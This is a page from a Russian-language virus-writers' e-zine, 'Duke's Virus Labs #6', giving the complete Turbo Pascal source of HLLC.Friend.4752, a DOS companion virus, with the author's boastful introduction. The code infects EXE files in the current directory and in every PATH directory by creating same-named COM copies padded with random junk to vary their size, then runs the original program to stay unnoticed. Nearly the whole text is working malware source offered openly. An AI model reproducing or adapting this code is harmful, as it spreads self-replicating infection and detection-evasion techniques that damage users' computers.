- [Duke's Virus Labs #6] - [Page 10] - HLLC.Friend.4752 (c) by Duke/SMF Имя вируса : HLLC.Friend.4752 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 25.03.99 Перeд вами очередной ремейк моего вируса HLLC.Friend, публиковавшегося в прошлых номерах журнала. Фух, наконец-то пофиксил все баги... Теперь этот вир может называться "bugs free" :) Хотя, со мной никаких гарантий быть не может ;-0 Даю без комментариев - как говорится "найдите 10 отличий" :-)) ===== Cut here ===== {---------------------------------------------------------------------------- Перед вами простенький вирус HLLC.Friend.4752 Это файловый компаньон вирус, поражающий EXE-файлы в текущем каталоге и в каталогах переменной PATH. Главный прикол состоит в том, что компаньон-вирусы как правило написаны на ассемблере, чтобы откомпилированный вирус имел расширение имени COM. Тогда он сможет поражать EXE-файлы, создавая COM-файл спутник. Но Turbo Pascal 7.1 компилирует свои файлы только в формат EXE. Утилиты типа EXE2COM могут быть малорезультативны в этом случае, поэтому я использую способ попроще - переименовать откомпилированный вирус в файл с расширением COM. И это все - вирус готов к запуску ! Вирус после очередного заражения изменяет длину файла записыванием всякого мусора в конец - он не влияет на работу программы, но в одной директории не будет нескольких COM-файлов с одинаковой длиной. Duke/SMF -----------------------------------------------------------------------------} {$M 5000, 0, 5000} uses dos; const virsize=4752; {Длина откомпилированного вируса} e='.EXE'; var ds:dirstr; ns:namestr; es:extstr; i:integer; f,g:file; mas:array[1..virsize] of char; {тело вируса} st:string; par:string; {параметры} {---------------------------------------------------------------------------} procedure zar(name:string); {Собственно поражение найденных файлов с проверкой на повторное заражение} var ch:char; g:file; begin fsplit(name,ds,ns,es); st:=ds+ns+'.com'; assign(g,st);{$I-}reset(g);{$I+} if ioresult<>0 then {Ещё не заражен} begin rewrite(g,1); blockwrite(g,mas,virsize); for i:=1 to random(500) do {Пишем мусор:} begin ch:=chr(random(250)); blockwrite(g,ch,1); end; end; close(g); end; {----------------------------------------------------------------------------} procedure Search(dir:string); {поиск жертв в директории dir} var s:searchrec; begin findfirst(dir+'*'+e,$21,s); while doserror=0 do begin zar(s.name); findnext(s); end; end; {---------------------------------------------------------------------------} procedure Path; {Поиск по path} var num:integer; h:string; begin h:=GetEnv('PATH'); if h='' then exit; num:=pos(';',h); while num<>0 do begin Search(copy(h,1,num-1)+'\'); h:=copy(h,num+1,length(h)-num); num:=pos(';',h); end; Search(h); end; {----------------------------------------------------------------------------} begin st:='[Friend] by Duke/SMF'; Randomize; assign(f,paramstr(0));reset(f,1); blockread(f,mas,virsize); close(f); fsplit(paramstr(0),ds,ns,es); st:=ds+ns+e; assign(g,st);{$I-}reset(g);{$I+} if (ioresult<>0) or (es=e) then Path {Не найден пораженный файл или мы в EXE-файле} else begin close(g); par:=''; for i:=1 to paramcount do par:=par+paramstr(i)+' '; exec(st,par); {Запустили пораженный файл с сохранением параметров ком. строки} end; Search(''); {Идем поражать текущий каталог} end. ===== Cut here =====